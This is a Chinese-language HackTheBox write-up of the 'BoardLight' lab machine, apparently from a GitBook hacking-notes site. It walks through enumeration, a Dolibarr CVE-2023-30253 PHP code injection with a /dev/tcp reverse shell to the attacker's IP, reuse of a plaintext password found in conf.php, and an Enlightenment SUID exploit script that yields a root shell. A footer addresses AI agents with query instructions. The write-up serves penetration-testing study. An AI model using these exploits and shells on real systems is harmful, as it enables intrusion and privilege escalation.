> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md). # BoardLight HackTheBox 复盘 BoardLight HackTheBox 简单 Linux 机器复盘，涵盖子域枚举、Dolibarr 17.0.0 利用 - CVE-2023-30253、信息泄露（用户横向移动）、Enlightenment SUID 二进制文件利用 {% embed url="" %} {% hint style="warning" %} **技能：** * 子域枚举 * Dolibarr 17.0.0 利用 - CVE-2023-30253 * 信息泄露（用户权限提升） * Enlightenment SUID 二进制利用（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.11 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80 10.10.11.11 -oN targeted ```

## 端口 80 - HTTP **使用 WhatWeb 分析：** 我们发现一封包含域名的电子邮件： `board.htb`.

要通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

## Web 枚举 **使用 Feroxbuster 搜索目录：** ```bash feroxbuster -u http://board.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` 未找到相关结果。

**使用 Gobuster 枚举子域名：** ```bash gobuster vhost -u http://board.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 ``` 我们发现一个子域名： `crm.board.htb`..

我们将其添加到 `/etc/hosts`

## Dolibarr CMS 漏洞

**无需身份验证的连接：** 使用随机凭据的连接尝试会以管理员身份登录，但没有权限。

### **手动利用** **创建恶意站点：** 在站点创建部分，我们插入恶意 PHP 代码：

```php

```

我们确认了命令执行。

**反向 Shell：** 监听： ```bash nc -nvlp 443 ``` 反向 Shell 的 PHP 代码： ```php %26 /dev/tcp/10.10.14.47/443 0>%261"']); ?> ```

### **自动化利用** {% embed url="" %} **安装依赖：** ```bash pip3 install -r requirements.txt ``` **执行脚本：** 测试命令（whoami） ```bash python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami ```

#### 反向 Shell ```bash python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443 ```

#### 终端稳定化 ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 用户权限提升 - Larissa 目标是转向用户 **larissa**.

### 信息枚举在 `web` 目录位于 `htbdocs`，我们找到一个名为 `conf` ，其中包含一个 **conf.php** 文件。此文件包含以下信息：

* 密码： `serverfun2$2023`!! #### SSH 连接获取到信息后，让我们尝试通过 SSH 连接到机器： ```bash ssh larissa@10.10.11.11 ``` **结果：** 连接成功。

### user.txt 标志 :)

## 权限提升 ### SUID - Enlightenment 我们首先搜索由我们的用户拥有的 SUID 文件。为此，运行以下命令： ```bash find / -perm -4000 2>/dev/null ``` 分析输出后，我们注意到存在 **enlightenment** 二进制文件。

我们正在研究与该二进制文件相关的漏洞。经过一些研究，我们找到了一个适用于该版本的利用。 **0.25.4**. {% embed url="" %}

然而，检查系统上安装的 Enlightenment 当前版本时，我们发现它是版本 **0.23.1**，一个较旧的版本。

我们正在测试以下利用来利用该漏洞： ```bash #!/usr/bin/bash file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys" mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit" echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net rm -rf /tmp/exploit rm -rf /tmp/net ``` ```bash ./exploit.sh ``` 运行该利用后，我们获得了 root 权限的 shell。

### root.txt 标志 :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/boardlight-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.